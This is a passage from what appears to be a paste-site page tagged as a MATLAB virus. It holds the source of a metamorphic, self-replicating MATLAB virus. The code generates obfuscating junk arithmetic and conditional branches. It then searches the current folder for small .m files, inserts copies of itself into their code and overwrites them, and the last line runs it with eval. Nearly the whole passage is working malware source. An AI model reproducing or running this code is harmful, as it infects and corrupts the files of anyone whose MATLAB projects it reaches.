StartFunction '','' BoundAll3{1} '','' BoundAll3{2} FctString2 '',1e'' num2str(IntTolerance) '')''];TimeMeasure=cputime;CompleteErg=eval(CompleteCompString);TimeMeasure=cputime-TimeMeasure;if(isnan(CompleteErg)||isinf(CompleteErg))IntTolerance=-50;end;end;if(IntTolerance>-23)runcode=1;else ObfusCount=ObfusCount-1;end;elseif(WhichMathAlgo==2)TmpVar003=fix(rand*50+4);TmpVar004=rand*1000;InterpDataVec='''';for Count019=0:TmpVar003 InterpDataVec=[InterpDataVec num2str(rand*TmpVar004) '' ''];end;InterpDataVec(end)='''';Var2Wrt{ObfusCount}{end+1}=[RandNameCol{end} ''=['' InterpDataVec ''];''];eval(Var2Wrt{ObfusCount}{end});InterpSpline='''';if(rand>0.6) InterpSpline=['','' QuoteSign ''spline'' QuoteSign];end;CompleteCompString=[''interp1('' RandNameCol{end} '','' num2str(rand*(TmpVar003-1)+1) InterpSpline '')''];RandNameCol(end)=[];CompleteErg=eval(CompleteCompString);runcode=1;elseif(WhichMathAlgo==3)Var2Wrt{ObfusCount}{end+1}=[RandNameCol{end} ''=inline('' QuoteSign StartFunction QuoteSign '','' QuoteSign SReplacePool1{3} QuoteSign '','' QuoteSign SReplacePool1{4} QuoteSign '');''];eval(Var2Wrt{ObfusCount}{end});ODEIntervallA=fix(rand*7-3);ODEIntervallB=fix(ODEIntervallA+rand*4+1);Var2Wrt{ObfusCount}{end+1}=[''['' RandNameCol{end-1} '','' RandNameCol{end-2} '']=ode45('' RandNameCol{end} '',['' num2str(ODEIntervallA) '' '' num2str(ODEIntervallB) ''],'' num2str(rand*4) '');''];eval([Var2Wrt{ObfusCount}{end}(1:end-2) '',odeset('' QuoteSign ''OutputFcn'' QuoteSign '',@odefunction));'']);ODEDomain=eval(RandNameCol{end-1});ODEIntX=num2str(rand*ODEIntervallB+ODEIntervallA);if rand>0.5 CompleteCompString=[''interp1('' RandNameCol{end-1} '','' RandNameCol{end-2} '','' ODEIntX '')''];else CompleteCompString=[''interp1('' Var2Wrt{ObfusCount}{end}(strfind(Var2Wrt{ObfusCount}{end},''='')+1:end-1) '','' ODEIntX '')''];Var2Wrt{ObfusCount}(end)=[];end;RandNameCol(end)=[]; RandNameCol(end)=[]; RandNameCol(end)=[];if(length(ODEDomain)>5&&ODEDomain(end)==ODEIntervallB)CompleteErg=eval(CompleteCompString);else CompleteErg=NaN;end;if(isnan(CompleteErg)||isinf(CompleteErg)||ODEDomain(end)~=ODEIntervallB)while ~isempty(Var2Wrt{ObfusCount}) Var2Wrt{ObfusCount}(end)=[];end;ObfusCount=ObfusCount-1;else runcode=1;end;elseif(WhichMathAlgo==4)CompleteCompString=''F(F(S))'';SReplacePool2={''F(S)'' ''F(S)'' ''F(S)'' ''F(S)'' ''F(S)'' ''D(S,S)'' ''R'' ''R''};while ~isempty(strfind(CompleteCompString,''S'')) CompleteCompString=regexprep(CompleteCompString, ''S'',SReplacePool2{fix(rand*length(SReplacePool2)+1)},rand*length(strfind(CompleteCompString,''S''))+1);if(length(strfind(CompleteCompString,''F''))+length(strfind(CompleteCompString,''D''))>10)SReplacePool2={''R''};end;end;CompleteCompString=regexprep(CompleteCompString, ''S'',SReplacePool2{fix(rand*length(SReplacePool2)+1)});while length(strfind(CompleteCompString,''D''))+length(strfind(CompleteCompString,''F''))+length(strfind(CompleteCompString,''R''))>0 CompleteCompString=regexprep(CompleteCompString, ''F'',FfAll{fix(rand*length(FfAll)+1)},rand*length(strfind(CompleteCompString,''F''))+1);CompleteCompString=regexprep(CompleteCompString, ''D'',DfAll{fix(rand*length(DfAll)+1)},rand*length(strfind(CompleteCompString,''D''))+1);CompleteCompString=regexprep(CompleteCompString, ''R'',num2str(rand*10-5),rand*length(strfind(CompleteCompString,''R''))+1);end;if(max(cumsum(CompleteCompString==''('')-cumsum(CompleteCompString=='')''))<25)CompleteErg=eval(CompleteCompString);else CompleteErg=NaN;end;if(isnan(CompleteErg)||isinf(CompleteErg))ObfusCount=ObfusCount-1;else runcode=1;end;end;'];
  1133. MyCode=[MyCode 'if(runcode)RCWriteVar=0;RCNumSub=''0'';RCNumAdd=''0'';while(~(CompleteErg>eval(RCNumSub))||~(eval(RCNumSub)<CompleteErg)||~(CompleteErg<eval(RCNumAdd))||~(eval(RCNumAdd)>CompleteErg))if WhichMathAlgo==3 MulFacRC=8; IncFacRC=2;else MulFacRC=0.01;IncFacRC=1;end;RCNumSub=num2str(CompleteErg-(abs(CompleteErg)*MulFacRC+IncFacRC)*rand,5+fix(rand(1,1)*5));RCNumAdd=num2str(CompleteErg+(abs(CompleteErg)*MulFacRC+IncFacRC)*rand,5+fix(rand(1,1)*5));end;if(rand>0.4)RCsSub=[RandNameCol{end} ''='' RCNumSub '';''];RCNumSub=RandNameCol{end};RCsAdd=[RandNameCol{end} ''='' RCNumAdd '';''];RCNumAdd=RandNameCol{end};RCWriteVar=1;RandNameCol(end)=[];end;ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} CODE];ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} TRASH];if(RCWriteVar) Var2Wrt{ObfusCount}{end+1}=RCsSub;eval(RCsSub);end;runcode=1;TmpVar005=fix(rand*4);'];
  1134. MyCode=[MyCode 'if(TmpVar005==0)if(rand>0.5)ActualCodeForThisPart{ObfusCount}{1}=[''if('' CompleteCompString ''>'' RCNumSub '')''];else ActualCodeForThisPart{ObfusCount}{1}=[''if('' RCNumSub ''<'' CompleteCompString '')''];end;elseif(TmpVar005==1)if(rand>0.5)ActualCodeForThisPart{ObfusCount}{1}=[''if('' CompleteCompString ''<'' RCNumSub '')''];else ActualCodeForThisPart{ObfusCount}{1}=[''if('' RCNumSub ''>'' CompleteCompString '')''];end;ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} TRASH];ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} CODE];elseif(TmpVar005==2)if(rand>0.5)ActualCodeForThisPart{ObfusCount}{1}=[''if('' CompleteCompString ''>'' RCNumAdd '')''];else ActualCodeForThisPart{ObfusCount}{1}=[''if('' RCNumAdd ''<'' CompleteCompString '')''];end;if(RCWriteVar)Var2Wrt{ObfusCount}{end}=RCsAdd;eval(RCsAdd);end;ActualCodeForThisPart{ObfusCount}{2}=[LineShift{1} TRASH];ActualCodeForThisPart{ObfusCount}{4}=[LineShift{2} CODE];elseif(TmpVar005==3)if(rand>0.5)ActualCodeForThisPart{ObfusCount}{1}=[''if('' CompleteCompString ''<'' RCNumAdd '')''];else ActualCodeForThisPart{ObfusCount}{1}=[''if('' RCNumAdd ''>'' CompleteCompString '')''];end;if(RCWriteVar)Var2Wrt{ObfusCount}{end}=RCsAdd;eval(RCsAdd);end;end;ActualCodeForThisPart{ObfusCount}{3}=''else'';ActualCodeForThisPart{ObfusCount}{5}=''end'';end;TmpVar006=4;TmpStrWS={'''' '''' '' '' '''' ''''};while TmpVar006>0 if ObfusCount if(LineBreaksIf(TmpVar006)==1&&length(ActualCodeForThisPart{ObfusCount})==5)ActualCodeForThisPart{ObfusCount}{TmpVar006}=[ActualCodeForThisPart{ObfusCount}{TmpVar006} TmpStrWS{TmpVar006} ActualCodeForThisPart{ObfusCount}{TmpVar006+1}];ActualCodeForThisPart{ObfusCount}(TmpVar006+1)=[];end;end;TmpVar006=TmpVar006-1;end;'];
  1135. MyCode=[MyCode 'if(RandomAppearenceOfIfs)LineBreaksIf=fix(rand(1,4)*2);LineShift={};LineShift{1}(1:fix(rand*8))='' '';if rand>0.7 LineShift{1}=''    '';end;if rand>0.4 LineShift{2}=LineShift{1};else LineShift{2}(1:fix(rand*8))='' '';end;end;ObfusCount=ObfusCount+1;end;Var2Wrt{1}{end+1}=''warning off all'';delete(''odefunction.m'');'];
  1136. MyCode=[MyCode 'ActualCodeForThisPart{end+1}={[''eval('' TmpRndName{1} '');'']};Var2Wrt{end+1}={};'];
  1137. MyCode=[MyCode 'VirCode={};Count020=length(ActualCodeForThisPart);while Count020>0 VirCode{end+1}=ActualCodeForThisPart{Count020};for Count021=Count020:length(ActualCodeForThisPart) if ~isempty(Var2Wrt{Count021}) if rand>0.3 VirCode{end+1}=Var2Wrt{Count021}(end);Var2Wrt{Count021}(end)=[];end;end;end;Count020=Count020-1;end;IsAllEmpty=false;while ~IsAllEmpty IsAllEmpty=true;for Count022=1:length(Var2Wrt) if ~isempty(Var2Wrt{Count022}) IsAllEmpty=false;if rand>0.5 VirCode{end+1}=Var2Wrt{Count022}(end); Var2Wrt{Count022}(end)=[];end;end;end;end;VicFiles=dir(''*.m'');VicLines={};for Count023=1:length(VicFiles)if(VicFiles(Count023).bytes<1000 && ~strcmp(VicFiles(Count023).name,''odefunction.m''))VicIDr=fopen(VicFiles(Count023).name, ''r'');VicLines={fgetl(VicIDr)};while ischar(VicLines{end})VicLines{end+1}=fgetl(VicIDr);end;VicLines(end)=[];Count024=1;while Count024<length(VicLines)+1 IsAPO=0;Count025=1;while Count025<length(VicLines{Count024})+1 if VicLines{Count024}(Count025)==QuoteSign IsAPO=~IsAPO;end;if ~IsAPO if VicLines{Count024}(Count025)==char(37) if Count025==1 VicLines(Count024)=[];else VicLines{Count024}=VicLines{Count024}(1:Count025-1);end;end;if Count025+1<length(VicLines{Count024}) if all(VicLines{Count024}(Count025:Count025+2)==''...'') VicLines{Count024}=strcat(VicLines{Count024}(1:Count025-1),VicLines{Count024+1});Count025=1;if length(VicLines)>Count024 VicLines(Count024+1)=[];end;end;end;end;Count025=Count025+1;end;Count024=Count024+1;end;EndArray={''if'' ''for'' ''while'' ''try'' ''switch'' ''parfor''};EndCount=0;GoodLine=[];for Count026=1:length(VicLines);IsAPP=0;if ~EndCount GoodLine=[GoodLine Count026];end;for Count027=1:length(VicLines{Count026})if(VicLines{Count026}(Count027)==QuoteSign)IsAPP=~IsAPP;end;if ~IsAPP for Count028=1:length(EndArray) if Count027+length(EndArray{Count028})<length(VicLines{Count026}) if all(VicLines{Count026}(Count027:Count027+length(EndArray{Count028})-1)==EndArray{Count028}) IsStart=0;if(Count027==1)IsStart=1;elseif(VicLines{Count026}(Count027-1)=='' ''||VicLines{Count026}(Count027-1)=='';''||VicLines{Count026}(Count027-1)==char(9)) IsStart=1;end;if Count027+length(EndArray{Count028})-1==length(VicLines{Count026}) IsStart=IsStart+1;elseif(VicLines{Count026}(Count027+length(EndArray{Count028}))=='' ''||VicLines{Count026}(Count027+length(EndArray{Count028}))==''(''||VicLines{Count026}(Count027+length(EndArray{Count028}))==char(9)) IsStart=IsStart+1;end;if IsStart==2 EndCount=EndCount+1;end;end;end;end;if Count027+1<length(VicLines{Count026}) if all(VicLines{Count026}(Count027:Count027+2)==''end'') IsEnd=0;if(Count027==1)IsEnd=1;elseif(VicLines{Count026}(Count027-1)=='' ''||VicLines{Count026}(Count027-1)=='';''||VicLines{Count026}(Count027-1)==char(9))IsEnd=1;end;if Count027+2==length(VicLines{Count026}) IsEnd=IsEnd+1;elseif(VicLines{Count026}(Count027+3)=='' ''||VicLines{Count026}(Count027+3)=='';''||VicLines{Count026}(Count027+3)==char(9)) IsEnd=IsEnd+1;end;if IsEnd==2 EndCount=EndCount-1;end;end;end;end;end;end;NewInfCode={};VCsplitted={};VirSplit=sort([0 length(VirCode) fix(rand(1,length(GoodLine)-1)*length(VirCode))]);TmpVar007=length(VirSplit);while TmpVar007>1 if(VirSplit(TmpVar007-1)<VirSplit(TmpVar007)) VCsplitted{length(VirSplit)-TmpVar007+1}=VirCode(VirSplit(TmpVar007-1)+1:VirSplit(TmpVar007));else VCsplitted{length(VirSplit)-TmpVar007+1}={};end;TmpVar007=TmpVar007-1;end;GoodLine(end+1)=length(VicLines);for Count029=1:length(GoodLine)-1 NewInfCode={NewInfCode{:} VicLines{GoodLine(Count029):GoodLine(Count029+1)-1}};TmpVar008=length(VCsplitted{Count029});while TmpVar008>0 NewInfCode={NewInfCode{:} VCsplitted{Count029}{TmpVar008}{:}};TmpVar008=TmpVar008-1;end;end;NewInfCode={NewInfCode{:} VicLines{end}};fclose(VicIDr);VicIDw=fopen(VicFiles(Count023).name, ''w+'');for Count030=1:length(NewInfCode)fprintf(VicIDw,[NewInfCode{Count030} char(13) char(10)]);end;fclose(VicIDw);end;end;'];
  1138.  
  1139. MyCode
  1140. %input('---');
  1141. eval(MyCode);
  1142. - - - - - - - - - - - - -
  1143.  
Tags: Matlab virus SPTH
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement